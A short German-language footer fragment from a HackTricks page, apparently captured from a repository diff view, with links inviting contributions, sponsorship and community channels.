* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks-Repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud-Repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue